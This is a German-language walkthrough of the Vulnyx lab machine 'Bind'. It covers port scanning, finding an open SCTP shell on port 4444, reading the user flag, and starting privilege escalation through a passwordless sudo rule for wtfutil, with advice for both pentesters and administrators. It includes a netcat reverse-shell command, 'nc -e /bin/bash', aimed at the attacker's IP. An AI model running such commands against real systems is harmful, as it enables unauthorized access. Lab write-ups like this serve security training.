Bind - Vulnyx - Medium - Bericht

Medium

Verwendete Tools

recon_script.sh (Custom)
arp-scan
ip neigh
grep
awk
sort
nmap
nikto
curl
gobuster
wfuzz
ncat
nc
stty
sudo
find
wtfutil
nano
cat
id
ls
which
cd

Inhaltsverzeichnis

Reconnaissance

Die Erkundung startet erneut mit dem benutzerdefinierten Skript `./recon_script.sh`, um das Ziel `Bind.nyx` im Netzwerk zu identifizieren und die lokale Namensauflösung einzurichten.

┌──(root㉿CCat)-[~] └─# ./recon_script.sh Bind.nyx

        127.0.0.1	localhost
                192.168.2.118   Bind.nyx


-
: ARP-Scan -l
192.168.2.118	08:00:27:e6:aa:32	PCS Systemtechnik GmbH

**Analyse:** Das Skript `./recon_script.sh` wird für das Ziel `Bind.nyx` ausgeführt. Es konfiguriert offenbar die lokale `/etc/hosts`-Datei, um `Bind.nyx` der IP `192.168.2.118` zuzuordnen. Ein ARP-Scan (`arp-scan -l`) identifiziert daraufhin den Host mit dieser IP und der MAC-Adresse `08:00:27:e6:aa:32`, die wieder auf eine Oracle VirtualBox VM hinweist.

**Bewertung:** Die grundlegende Zielidentifizierung war erfolgreich. IP-Adresse (`192.168.2.118`) und Hostname (`Bind.nyx`) sind bekannt und für die weiteren Scans vorbereitet.

**Empfehlung (Pentester):** Die vom Skript gesammelten Informationen als Basis für detailliertere Scans nutzen. Die Variable `$IP` in nachfolgenden Befehlen wird `192.168.2.118` repräsentieren. **Empfehlung (Admin):** Standard-Netzwerk-Monitoring auf ARP-Anfragen und ungewöhnliche Host-Discovery-Aktivitäten durchführen.

Es wird nach IPv6-Nachbarn gesucht und ein Nmap-Scan über IPv6 durchgeführt.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe801\|fe80a00:27ff:fe30:2eda\|fe808247:86ff:fe96:f63a\|fe8050f1:22ff:fec4:ad12\|fe80a5aa:636f:a4bf:d441");
# (Keine Ausgabe)
┌──(root㉿CCat)-[~] └─# cmd2=$(echo $cmd | awk '{print $1}' | sort -u);
# (Keine Ausgabe)
┌──(root㉿CCat)-[~] └─# nmap $cmd2 -6
-
  Nmap IPv6 Scan
-

 - IPv6 Adresse: fe80::a00:27ff:fee6:aa32%eth0: -

 -
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 00:18 CEST
Nmap scan report for bind (fe80::a00:27ff:fee6:aa32)
Host is up (0.000099s latency).
Not shown: 997 closed tcp ports (reset)
PRT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
MAC Address: 08:00:27:E6:AA:32 (racle VirtualBox virtual NIC)

**Analyse:** Die gleichen Shell-Befehle wie im vorherigen Bericht werden verwendet, um die Link-Local IPv6-Adresse des Ziels (`fe80::a00:27ff:fee6:aa32`) zu finden und mit `nmap -6` zu scannen. Der Scan identifiziert drei offene TCP-Ports über IPv6: * **Port 22 (SSH)** * **Port 80 (HTTP)** * **Port 8080 (HTTP-Proxy)** - Dieser wird von Nmap als möglicher Proxy erkannt.

**Bewertung:** Der IPv6-Scan zeigt die gleichen TCP-Ports wie der spätere IPv4-Scan. Die Identifizierung von Port 8080 als möglicher HTTP-Proxy ist ein interessanter Hinweis, der weiter untersucht werden sollte.

**Empfehlung (Pentester):** Die Ports 22, 80 und insbesondere 8080 auf beiden Protokollversionen (IPv4/IPv6) genauer untersuchen. Den vermuteten Proxy auf Port 8080 testen. **Empfehlung (Admin):** Firewall-Regeln für IPv6 konsistent mit IPv4 halten. Sicherstellen, dass der Dienst auf Port 8080 wie erwartet funktioniert und, falls es ein Proxy ist, sicher konfiguriert ist.

Ein UDP-Scan wird durchgeführt, um nach offenen UDP-Diensten zu suchen.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
UDP Scan

-
  Nmap UDP Scan :
-
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 00:18 CEST
Nmap scan report for 192.168.2.118
Host is up (0.00056s latency).
Not shown: 994 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
1059/udp  closed nimreg
1346/udp  closed alta-ana-lm
19181/udp closed unknown
40019/udp closed unknown
51690/udp closed unknown
61319/udp closed unknown
MAC Address: 08:00:27:E6:AA:32 (racle VirtualBox virtual NIC)

**Analyse:** Der Nmap UDP-Scan (`-sU`) der Top 1000 Ports zeigt ein ähnliches Bild wie im vorherigen Bericht: Die meisten Ports sind `open|filtered` (keine Antwort), und einige spezifische Ports sind `closed` (Antwort erhalten). Es werden keine eindeutig offenen UDP-Ports identifiziert.

**Bewertung:** Keine verwertbaren Informationen aus dem UDP-Scan. UDP scheint kein primärer Angriffsvektor zu sein.

**Empfehlung (Pentester):** Fokus auf TCP-Dienste und den SCTP-Port legen. **Empfehlung (Admin):** Unbenötigte UDP-Dienste deaktivieren und Firewall-Regeln prüfen.

Ein schneller TCP-Scan wird ausgeführt, um nur die offenen Ports und ihre Dienste aufzulisten.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
pen mit grep Scan :

-
 Nmap nur offene Ports Ausgabe
-
22/tcp   open  ssh     penSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests

**Analyse:** Der gefilterte Nmap TCP-Scan (`| grep open`) zeigt die drei offenen Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.57 (Debian). * **Port 8080 (HTTP):** Ebenfalls Apache 2.4.57 (Debian), mit dem Hinweis `Proxy might be redirecting requests` aus einem Nmap-Skript.

**Bewertung:** Bestätigt die offenen TCP-Ports. Interessant ist, dass auf beiden Ports (80 und 8080) die gleiche Apache-Version läuft. Der Proxy-Hinweis auf Port 8080 ist konsistent mit dem IPv6-Scan.

**Empfehlung (Pentester):** Alle drei Ports weiter untersuchen, insbesondere die Webserver auf 80 und 8080. Den Proxy-Hinweis auf 8080 gezielt testen. **Empfehlung (Admin):** Sicherstellen, dass die Konfiguration der beiden Apache-Instanzen (oder virtuellen Hosts) korrekt und sicher ist. Falls Port 8080 als Proxy dient, dessen Konfiguration genau prüfen.

Der vollständige TCP-Scan wird durchgeführt, um alle Details zu erhalten.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Port Scan

-
: Nmap volle Ausgabe
-
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 00:18 CEST
Nmap scan report for Bind.nyx (192.168.2.118)
Host is up (0.00035s latency).
Not shown: 65532 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:E6:AA:32 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.35 ms Bind.nyx (192.168.2.118)

**Analyse:** Die vollständige Nmap-Ausgabe bestätigt die Details: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 2+deb12u1). * **Port 80 (HTTP):** Apache 2.4.57 (Debian), zeigt die Standard-Apache-Seite ("It works"). * **Port 8080 (HTTP):** Apache 2.4.57 (Debian), zeigt ebenfalls die Standard-Apache-Seite ("It works"). Das Nmap-Skript `http-open-proxy` gibt den Hinweis `Proxy might be redirecting requests`, was bedeutet, dass der Server Anfragen an andere URLs weiterleiten könnte, aber nicht unbedingt ein vollständig offener Proxy ist. * **Betriebssystem:** Linux bestätigt.

**Bewertung:** Beide Webserver (Port 80 und 8080) scheinen identisch konfiguriert zu sein und zeigen nur die Standardseite. Dies ist ungewöhnlich und deutet möglicherweise darauf hin, dass Port 8080 entweder ein einfacher Spiegel von Port 80 ist oder als eine Art Proxy dient, der aber standardmäßig nur die lokale Standardseite ausliefert. Der interessanteste Punkt bleibt der Proxy-Hinweis auf 8080.

**Empfehlung (Pentester):** Testen, ob der Dienst auf Port 8080 als Proxy verwendet werden kann, um auf interne Dienste oder externe Seiten zuzugreifen (`curl --proxy http://192.168.2.118:8080 [URL]`). Beide Ports mit Web-Enumeration-Tools (Nikto, Gobuster, Wfuzz) untersuchen. **Empfehlung (Admin):** Die Konfiguration von Apache auf Port 80 und 8080 überprüfen. Wenn Port 8080 nicht benötigt wird oder als fehlkonfigurierter Proxy dient, sollte er deaktiviert oder korrekt konfiguriert werden. Die Standard-Apache-Seiten entfernen oder ersetzen.

Ein SCTP-Scan wird durchgeführt, um nach offenen Ports für dieses Protokoll zu suchen.

┌──(root㉿CCat)-[~] └─# nmap -sY -n -p- $IP -Pn --min-rate 5000
Host Scan :

-
 Nmap Hostscan Ausgabe
-
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-09 00:18 CEST
Nmap scan report for 192.168.2.118
Host is up (0.00016s latency).
Not shown: 65534 closed sctp ports (abort)
PRT      STATE SERVICE
4444/sctp open  unknown
MAC Address: 08:00:27:E6:AA:32 (racle VirtualBox virtual NIC)

**Analyse:** Der Nmap SCTP INIT Scan (`-sY`) auf alle Ports (`-p-`) findet einen **offenen SCTP-Port**: * **Port 4444/sctp:** Status `open`, Dienst `unknown`.

**Bewertung:** **Sehr wichtiger und ungewöhnlicher Fund!** Ein offener SCTP-Port ist selten. Port 4444 wird oft für Meterpreter oder andere Backdoors/Shells verwendet, allerdings normalerweise über TCP. Die Tatsache, dass er über SCTP offen ist, deutet auf eine spezielle Anwendung oder eine versteckte Shell hin.

**Empfehlung (Pentester):** **Priorität!** Versuchen, sich mit diesem Port über SCTP zu verbinden. Tools wie `ncat` (aus dem Nmap-Projekt) unterstützen SCTP (`ncat --sctp [IP] [Port]`). Untersuchen, welcher Dienst hier lauscht. **Empfehlung (Admin):** Den Prozess identifizieren, der auf SCTP-Port 4444 lauscht (`netstat -pan --sctp` oder `ss -pan -A sctp`). Wenn der Dienst nicht legitim ist, sofort beenden und untersuchen, wie er dorthin gelangt ist. Wenn er legitim ist, sicherstellen, dass er benötigt wird und korrekt abgesichert ist.

Versuch, sich mit dem offenen SCTP-Port 4444 mit `ncat` zu verbinden.

┌──(root㉿CCat)-[~] └─# ncat --sctp 192.168.2.118 4444
id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)

**Analyse:** `ncat` wird mit der Option `--sctp` verwendet, um eine Verbindung zum Ziel `192.168.2.118` auf Port `4444` über das SCTP-Protokoll herzustellen. Nach dem Verbindungsaufbau wird der Befehl `id` eingegeben. Die Antwort `uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)` wird zurückgegeben.

**Bewertung:** **Volltreffer!** Der offene SCTP-Port 4444 stellt eine interaktive Shell bereit, die Befehle als Benutzer `ariel` (UID 1000) ausführt. Dies ist ein direkter Weg zum initialen Zugriff auf das System, ohne Web-Exploits oder Passwort-Cracking.

**Empfehlung (Pentester):** Die Shell stabilisieren (z.B. mit Python pty oder `script /dev/null`), Umgebung enumerieren (`pwd`, `ls -la`, `sudo -l`), User-Flag suchen und nach Möglichkeiten zur Privilege Escalation suchen. **Empfehlung (Admin):** **Sofort handeln!** Den lauschenden Prozess auf SCTP/4444 identifizieren und beenden. Das System auf Kompromittierung untersuchen. Die Ursache für die offene Shell finden (Fehlkonfiguration, Malware, absichtliche Backdoor).

Web Enumeration (Port 80/8080)

Obwohl bereits eine Shell erlangt wurde, werden die Web-Enumerationsschritte (die parallel oder zuvor durchgeführt wurden) hier der Vollständigkeit halber dokumentiert.

Nikto-Scan für Port 80.

┌──(root㉿CCat)-[~] └─# nikto -h http://$IP
-
 Nikto Scan :
-
- Nikto v2.5.0

+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2024-09-09 00:18:48 (GMT2)

+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 60a5de62ae8c1, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-09 00:19:10 (GMT2) (22 seconds)

+ 1 host(s) tested

**Analyse:** Der Nikto-Scan auf Port 80 findet die üblichen geringfügigen Probleme: fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und ein potenzielles ETag-Inode-Leak (CVE-2003-1418). Die erlaubten HTTP-Methoden sind Standard (`GET, POST, OPTIONS, HEAD`). Im Gegensatz zum vorherigen Bericht wird die `TRACE`-Methode hier nicht als aktiv gemeldet.

**Bewertung:** Keine kritischen Funde auf Port 80 durch Nikto. Die Ergebnisse sind konsistent mit einer Standard-Apache-Installation.

**Empfehlung (Pentester):** Diese Ergebnisse sind angesichts der bereits gefundenen SCTP-Shell von geringer Bedeutung. **Empfehlung (Admin):** Die fehlenden Sicherheitsheader hinzufügen (`X-Frame-Options: SAMEORIGIN`, `X-Content-Type-Options: nosniff`). ETag-Konfiguration prüfen (`FileETag None` oder `MTime Size`).

Testen des Apache-Servers auf Port 8080 als offenen Proxy mit `curl`.

┌──(root㉿CCat)-[~] └─# curl --proxy http://192.168.2.118:8080 http://192.168.2.118
Apache2 Debian Default Page: It works
 
... (Rest der Standard Apache Seite) ...

**Analyse:** `curl` wird verwendet, um zu testen, ob der Server auf Port 8080 als Proxy fungiert. Die Option `--proxy http://192.168.2.118:8080` weist `curl` an, die Anfrage an `http://192.168.2.118` (also Port 80) über den Proxy auf Port 8080 zu leiten. Die zurückgegebene Seite ist die Standard-Apache-Seite von Port 80.

**Bewertung:** Der Test zeigt, dass Port 8080 Anfragen entgegennimmt und sie an Port 80 weiterleitet (oder selbst die gleiche Seite ausliefert). Es ist kein *offener* Proxy im Sinne von "Zugriff auf beliebige externe Seiten", aber er leitet Anfragen zumindest an den lokalen Port 80 weiter. Dies bestätigt die Nmap-Proxy-Hinweise teilweise.

**Empfehlung (Pentester):** Untersuchen, ob der Proxy auf 8080 auch für Anfragen an andere interne Dienste oder externe IPs missbraucht werden kann (SSRF). Da bereits eine Shell vorhanden ist, ist dies jedoch zweitrangig. **Empfehlung (Admin):** Die Proxy-Funktionalität auf Port 8080 klären. Wenn sie nicht beabsichtigt ist, deaktivieren. Wenn sie beabsichtigt ist, sicherstellen, dass sie korrekt konfiguriert ist und keinen Missbrauch erlaubt.

Gobuster-Scan auf Port 80.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k

: Gobuster Scan :

http://192.168.2.118/index.html           (Status: 200) [Size: 10701]

**Analyse:** Der Gobuster-Scan auf Port 80 mit der `-medium`-Wortliste findet nur die Standarddatei `index.html`.

**Bewertung:** Bestätigt, dass auf Port 80 keine leicht zu findenden versteckten Verzeichnisse oder Dateien vorhanden sind.

**Empfehlung (Pentester):** Web-Enumeration auf Port 80 de-priorisieren. **Empfehlung (Admin):** Keine Aktion erforderlich.

Wfuzz-Scan auf Port 8080, um Verzeichnisse oder Dateien zu finden.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://Bind.nyx:8080/FUZZ" --hc 404,400 --hh 3501

Target: http://Bind.nyx:8080/FUZZ
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000006958:   301        9 L      28 W       312 Ch      "stream"


Total time: 146.8824
Processed Requests: 220607
Filtered Requests: 220603
Requests/sec.: 1501.929

**Analyse:** `wfuzz` wird verwendet, um nach Verzeichnissen/Dateien auf Port 8080 zu suchen (`http://Bind.nyx:8080/FUZZ`). Antworten mit Status 400/404 oder mit 3501 Chars (vermutlich die Standardseite) werden ausgeblendet (`--hc 404,400 --hh 3501`). Der Scan findet einen Eintrag: `stream` (Status 301, leitet weiter auf `/stream/`).

**Bewertung:** Ein potenziell interessantes Verzeichnis `/stream` wurde auf Port 8080 gefunden, das auf Port 80 nicht existiert. Dies könnte ein Hinweis auf eine spezifische Anwendung oder Konfiguration auf Port 8080 sein.

**Empfehlung (Pentester):** Das Verzeichnis `/stream/` manuell untersuchen und weiter mit Tools wie Gobuster/Wfuzz enumerieren. Da bereits eine Shell vorhanden ist, ist dies aber nachrangig. **Empfehlung (Admin):** Den Zweck des `/stream`-Verzeichnisses auf Port 8080 klären und sicherstellen, dass es korrekt konfiguriert und abgesichert ist.

Manuelle Untersuchung des gefundenen `/stream`-Verzeichnisses.

┌──(root㉿CCat)-[~] └─# curl http://Bind.nyx:8080/stream


<span class="password">301 Moved Permanently</span>

Moved Permanently

The document has moved here.


Apache/2.4.57 (Debian) Server at bind.nyx Port 8080

**Analyse:** Ein `curl`-Request auf `http://Bind.nyx:8080/stream` bestätigt die 301-Weiterleitung auf `http://Bind.nyx:8080/stream/`.

**Bewertung:** Bestätigt das Wfuzz-Ergebnis.

**Empfehlung (Pentester):** Die URL mit dem abschließenden Slash aufrufen.

┌──(root㉿CCat)-[~] └─# curl http://Bind.nyx:8080/stream/


<span class="password">403 Forbidden</span>

Forbidden

You don't have permission to access this resource.


Apache/2.4.57 (Debian) Server at bind.nyx Port 8080

**Analyse:** Der Aufruf von `http://Bind.nyx:8080/stream/` mit dem abschließenden Slash führt zu einem `403 Forbidden`-Fehler. Der Zugriff auf dieses Verzeichnis ist nicht erlaubt.

**Bewertung:** Das Verzeichnis `/stream/` existiert, ist aber geschützt (z.B. durch Konfiguration oder fehlende Index-Datei und deaktiviertes Directory Listing). Dies macht eine weitere Enumeration dieses Pfades schwierig.

**Empfehlung (Pentester):** Versuchen, bekannte Dateinamen innerhalb von `/stream/` zu erraten oder zu fuzzern (z.B. `index.php`, `stream.php`). Angesichts der vorhandenen Shell ist dies aber unwahrscheinlich der effizienteste Weg. **Empfehlung (Admin):** Berechtigungen für `/stream/` überprüfen und sicherstellen, dass sie den Anforderungen entsprechen.

Initial Access (SCTP Shell)

Der initiale Zugriff erfolgt über die zuvor entdeckte offene SCTP-Shell auf Port 4444.

┌──(root㉿CCat)-[~] └─# ncat --sctp 192.168.2.118 4444
id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)
ls
user.txt
cat user.txt
976d566cdcf81692976c27ab425825ac

**Analyse:** Erneute Verbindung mit `ncat --sctp` zur Shell. Die Befehle `id`, `ls` und `cat user.txt` werden ausgeführt. `id` bestätigt den Benutzer `ariel`. `ls` zeigt eine Datei `user.txt` im aktuellen Verzeichnis (vermutlich `/home/ariel`). `cat user.txt` liest den Inhalt dieser Datei aus - die User-Flag.

**Bewertung:** **Initialer Zugriff bestätigt und User-Flag erfolgreich erlangt!** Die SCTP-Shell bietet direkten Zugriff als Benutzer `ariel`.

**Empfehlung (Pentester):** Die User-Flag notieren. Eine stabilere Reverse Shell aufbauen, um komfortabler arbeiten zu können. Dann mit der Privilege Escalation beginnen. **Empfehlung (Admin):** **Höchste Priorität:** Die SCTP-Shell sofort schließen und die Ursache untersuchen!

Eine stabilere Reverse Shell wird mittels Netcat aufgebaut.

┌──(root㉿CCat)-[~] └─# ncat --sctp 192.168.2.118 4444
id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)
ls
user.txt
cat user.txt
976d566cdcf81692976c27ab425825ac
which nc
/usr/bin/nc
nc -e /bin/bash 192.168.2.199 4443

**Analyse:** Innerhalb der SCTP-Shell wird zuerst mit `which nc` überprüft, ob Netcat auf dem Zielsystem vorhanden ist (`/usr/bin/nc`). Anschließend wird der Befehl `nc -e /bin/bash 192.168.2.199 4443` ausgeführt. Dieser Befehl weist Netcat an, eine Verbindung zum Angreifer-System (`192.168.2.199`) auf Port `4443` herzustellen und bei erfolgreicher Verbindung eine Bash-Shell (`/bin/bash`) an diese Verbindung zu binden (`-e`).

**Bewertung:** Dies ist ein klassischer Befehl zum Aufbau einer Reverse Shell. Voraussetzung ist, dass auf dem Angreifer-System ein Listener auf Port 4443 läuft und dass die `-e`-Option von Netcat auf dem Zielsystem verfügbar ist (bei manchen modernen Versionen ist sie aus Sicherheitsgründen entfernt).

**Empfehlung (Pentester):** Vor dem Absenden des `nc -e`-Befehls einen Listener auf dem Angreifer-System starten (`nc -lvnp 4443`). **Empfehlung (Admin):** Die `-e`-Option von Netcat nach Möglichkeit deaktivieren oder Netcat ganz entfernen, wenn es nicht benötigt wird. Ausgehenden Netzwerkverkehr überwachen und einschränken, um den Aufbau von Reverse Shells zu erschweren.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.118] 49470

**Analyse:** Auf dem Angreifer-System wird ein Netcat-Listener gestartet (`nc -lvnp 4443`), der auf eingehende Verbindungen auf Port 4443 wartet. Kurz darauf meldet der Listener eine erfolgreiche Verbindung vom Zielsystem (`192.168.2.118`).

**Bewertung:** Die Reverse Shell wurde erfolgreich aufgebaut.

**Empfehlung (Pentester):** Die neue, interaktivere Shell verwenden. Optional die Shell mit `python -c 'import pty;pty.spawn("/bin/bash")'` oder ähnlichen Techniken weiter stabilisieren und mit `stty` an das eigene Terminal anpassen.

Die neue Reverse Shell wird stabilisiert.

ariel@bind$ └─# stty rows 48 columns 94
# (Keine Ausgabe, Terminalgröße angepasst)
ariel@bind$ └─# id
uid=1000(ariel) gid=1000(ariel) grupos=1000(ariel)

**Analyse:** Innerhalb der neuen Reverse Shell wird `stty rows 48 columns 94` ausgeführt, um die Zeilen- und Spaltenanzahl der Shell an das Terminal des Angreifers anzupassen. Dies verbessert die Darstellung und vermeidet Probleme mit Zeilenumbrüchen bei der Ausgabe längerer Befehle. Der `id`-Befehl bestätigt erneut, dass die Shell als Benutzer `ariel` läuft.

**Bewertung:** Standardverfahren zur Verbesserung der Benutzerfreundlichkeit einer einfachen Reverse Shell.

**Empfehlung (Pentester):** Mit der stabilisierten Shell die Privilege Escalation starten. **Empfehlung (Admin):** Keine direkte Aktion erforderlich.

Privilege Escalation

Es wird nach Möglichkeiten gesucht, die Rechte vom Benutzer `ariel` auf `root` zu erhöhen.

ariel@bind$ └─# sudo -l
Matching Defaults entries for ariel on bind:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ariel may run the following commands on bind:
    (root) NOPASSWD: /usr/bin/wtfutil

**Analyse:** Der Befehl `sudo -l` zeigt die `sudo`-Berechtigungen für den Benutzer `ariel`. Es wird festgestellt, dass `ariel` den Befehl `/usr/bin/wtfutil` als `root` und **ohne** Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** **Klarer Pfad zur Privilege Escalation!** `wtfutil` ist ein Terminal-Dashboard-Tool, das Module zur Anzeige verschiedener Informationen ausführen kann. Wenn es mit `sudo` ausgeführt werden kann, besteht die Gefahr, dass es über seine Konfigurationsdateien oder Module zur Ausführung beliebiger Befehle als `root` missbraucht werden kann.

**Empfehlung (Pentester):** Die Dokumentation oder Hilfe von `wtfutil` (`wtfutil -h`) prüfen, insbesondere wie Konfigurationsdateien (`-c` Option) verwendet werden und ob es Module gibt, die Befehle ausführen (wie `cmdrunner`). Eine benutzerdefinierte `wtfutil`-Konfigurationsdatei erstellen, die einen Befehl zur Erlangung einer Root-Shell ausführt (z.B. Reverse Shell, `/bin/bash`). **Empfehlung (Admin):** Die `sudo`-Regel für `wtfutil` entfernen. `sudo`-Berechtigungen generell sehr restriktiv handhaben und `NOPASSWD` nur für absolut vertrauenswürdige, nicht missbrauchbare Befehle verwenden.

Suche nach SUID-Binaries als alternative oder zusätzliche Methode (Standard-Enumeration).

ariel@bind$ └─# find / -type f -perm -4000 -ls 2>/dev/null
   917654     60 -rwsr-xr-x   1 root     root        59704 mar 23  2023 /usr/bin/mount
   914039     52 -rwsr-xr-x   1 root     root        52880 mar 23  2023 /usr/bin/chsh
   914042     68 -rwsr-xr-x   1 root     root        68248 mar 23  2023 /usr/bin/passwd
   918251     72 -rwsr-xr-x   1 root     root        72000 mar 23  2023 /usr/bin/su
   938222    276 -rwsr-xr-x   1 root     root       281624 jun 27  2023 /usr/bin/sudo
   914041     88 -rwsr-xr-x   1 root     root        88496 mar 23  2023 /usr/bin/gpasswd
   914038     64 -rwsr-xr-x   1 root     root        62672 mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 mar 23  2023 /usr/bin/umount
   917500     48 -rwsr-xr-x   1 root     root        48896 mar 23  2023 /usr/bin/newgrp
   922664     52 -rwsr-xr--   1 root     messagebus    51272 sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   922701    640 -rwsr-xr-x   1 root     root         653888 sep 24  2023 /usr/lib/openssh/ssh-keysign

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem nach Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`), listet detaillierte Informationen dazu auf (`-ls`) und unterdrückt Fehlermeldungen (`2>/dev/null`). Die gefundenen Binaries sind Standard-SUID-Dateien auf einem typischen Linux-System (`mount`, `chsh`, `passwd`, `su`, `sudo`, etc.).

**Bewertung:** Es wurden keine ungewöhnlichen oder benutzerdefinierten SUID-Binaries gefunden, die direkt für Privilege Escalation ausgenutzt werden könnten. Der Fokus bleibt auf der `sudo`-Regel für `wtfutil`.

**Empfehlung (Pentester):** Die `sudo`-Regel ausnutzen. Die Suche nach SUID-Binaries ist dennoch ein wichtiger Schritt der Standard-Enumeration. **Empfehlung (Admin):** Regelmäßig überprüfen, ob unnötige SUID-Bits gesetzt sind. Die gefundenen Standard-SUID-Binaries sind normalerweise sicher, solange das System aktuell gehalten wird.

Untersuchung der Hilfe und Optionen von `wtfutil`.

ariel@bind$ └─# sudo /usr/bin/wtfutil -h
Usage:
  wtfutil [OPTIONS] [command] [args...]

Application Options:
  -c, --config=  Path to config file
  -m, --module=  Display info about a specific module, i.e.: 'wtfutil -m=todo'
  -p, --profile  Profile application memory usage
  -v, --version  Show version info

Help Options:
  -h, --help     Show this help message

Commands:
  save-secret 
    service      Service URL or module name of secret.
  Save a secret into the secret store. The secret will be prompted for.
  Requires wtf.secretStore to be configured.  See individual modules for
  information on what service and secret means for their configuration,
  not all modules use secrets.

**Analyse:** Die Hilfe (`-h`) von `wtfutil` wird mit `sudo` aufgerufen (um sicherzustellen, dass es als root ausgeführt werden kann). Die Ausgabe zeigt die Option `-c, --config=`, mit der ein Pfad zu einer Konfigurationsdatei angegeben werden kann.

**Bewertung:** Dies bestätigt den Angriffsvektor: Eine benutzerdefinierte Konfigurationsdatei kann erstellt und `wtfutil` mit `sudo` angewiesen werden, diese zu verwenden. Wenn die Konfigurationsdatei einen Befehl ausführt, wird dieser Befehl als `root` ausgeführt.

**Empfehlung (Pentester):** Recherchieren (z.B. auf GitHub, wie im nächsten Schritt angedeutet), wie ein `wtfutil`-Konfigurationsdatei-Modul (speziell `cmdrunner`) aussieht, das Befehle ausführt. Eine solche Datei im `/tmp`-Verzeichnis erstellen. **Empfehlung (Admin):** `sudo`-Regel entfernen.

Recherche nach Beispiel-Konfigurationsdateien und Vorbereitung der schadhaften Konfiguration.

ariel@bind$ └─# # Recherche auf GitHub
[Link: https://github.com/wtfutil/wtf/blob/master/_sample_configs/sample_config.yml | Ziel: https://github.com/wtfutil/wtf/blob/master/_sample_configs/sample_config.yml]
